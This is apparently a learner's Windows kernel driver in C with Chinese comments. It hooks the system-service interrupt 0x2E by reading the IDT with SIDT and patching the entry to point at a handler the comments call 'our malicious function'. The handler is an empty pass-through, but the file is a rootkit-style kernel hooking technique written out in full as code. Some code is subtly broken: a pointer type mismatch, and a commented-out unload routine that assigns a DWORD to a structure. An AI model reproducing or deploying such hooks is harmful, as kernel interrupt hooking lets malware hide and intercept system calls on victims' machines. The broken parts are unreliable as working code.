1 2 3 #include "ntddk.h" 4 #include <stdio.h> 5 6 7 8 #define DWORD unsigned long 9 #define WORD unsigned short 10 #define BOOL unsigned long 11 #define BYTE unsigned char 12 //SIDT 指令在内存中为每个CPU寻找IDT,返回IDTINFO的地址, 13 typedef struct 14 { 15 WORD IDTLimit ; 16 WORD LowIDTBase ; 17 WORD HideIDTBase ; 18 }IDTINFO; 19 20 21 22 23 #define MAKELONG(a, b) ((LONG)(( ( WORD )( a ) ) | ( ( DWORD )( ( WORD ) ( b )) ) << 16 )) 24 25 26 27 #pragma pack(1) 28 29 30 31 //IDT中每一项都是这个结构 32 typedef struct 33 { 34 WORD LowOffset ; // 这个和HiOffset 组成了中断处理程序的地址 35 WORD selector ; 36 BYTE unused_lo ; 37 unsigned char unusaed_hi : 5 ; 38 unsigned char DPL : 2; 39 unsigned char P : 1 ; 40 WORD HiOffset ; 41 }IDTENTRY; 42 43 44 45 #pragma pack() 46 47 48 49 50 DWORD KiRealSystemServicISR_Ptr ; 51 #define IDT_SYSTEM_SERVICE 0x2E 52 53 54 55 56 // 57 _declspec(naked) MyKisystemService () 58 { 59 KdBreakPoint(); 60 __asm 61 { 62 pushad 63 pushfd 64 push fs 65 mov bx,0x30 66 mov fs,bx 67 push dx 68 push es 69 Finish: 70 pop es 71 pop dx 72 pop fs 73 popfd 74 popad 75 76 jmp KiRealSystemServicISR_Ptr ; 77 } 78 79 80 81 } 82 83 84 85 86 87 88 89 90 91 92 93 int HookInterRuput ( ) 94 95 96 97 { 98 99 IDTINFO Idt_info ; 100 IDTENTRY * Idt_Entry ; 101 IDTENTRY * Idt2_Entry ; 102 KdBreakPoint(); 103 __asm 104 { 105 sidt Idt_info ; //返回IDT 106 } 107 108 109 110 Idt_Entry = (IDTINFO*) MAKELONG (Idt_info.LowIDTBase,Idt_info.HideIDTBase); 111 //返回的是0x2e中断处理程序的地址 112 KiRealSystemServicISR_Ptr = MAKELONG( Idt_Entry[IDT_SYSTEM_SERVICE].LowOffset,\ 113 Idt_Entry[IDT_SYSTEM_SERVICE].HiOffset ) ; 114 115 116 117 118 Idt2_Entry = &(Idt_Entry[IDT_SYSTEM_SERVICE]) ; 119 120 121 122 123 __asm 124 { 125 cli ; 126 lea eax, MyKisystemService // 将我们的恶意函数 127 mov ebx,Idt2_Entry 128 mov [ebx] ,ax 129 shr eax,16 130 mov [ebx+6], ax 131 sti ; 132 } 133 134 135 136 return 1 ; 137 } 138 139 140 141 142 /*NTSTATUS UnLoadDrivice () 143 { 144 IDTINFO Idt_info ; 145 IDTINFO * Idt_Entry ; 146 IDTINFO * Idt2_Entry ; 147 _asm 148 { 149 sidt Idt_info ; //返回IDT 150 } 151 152 153 154 Idt_Entry = (IDTINFO*) MAKELONG (Idt_info.LowIDTBase,Idt_info.HideIDTBase) 155 Idt2_Entry = &(Idt_Entry[IDT_SYSTEM_SERVICE]) ; 156 *Idt2_Entry = KiRealSystemServicISR_Ptr ; 157 return NTSTATUS_SUCCESS ; 158 } */ 159 160 161 162 NTSTATUS DriverEntry(PDRIVER_OBJECT driver , PUNICODE_STRING reg_path) 163 164 165 166 { 167 HookInterRuput() ; 168 //OBJ->DriverUnload = UnLoadDrivice ; 169 170 171 172 return STATUS_SUCCESS ; 173 } 174 175 /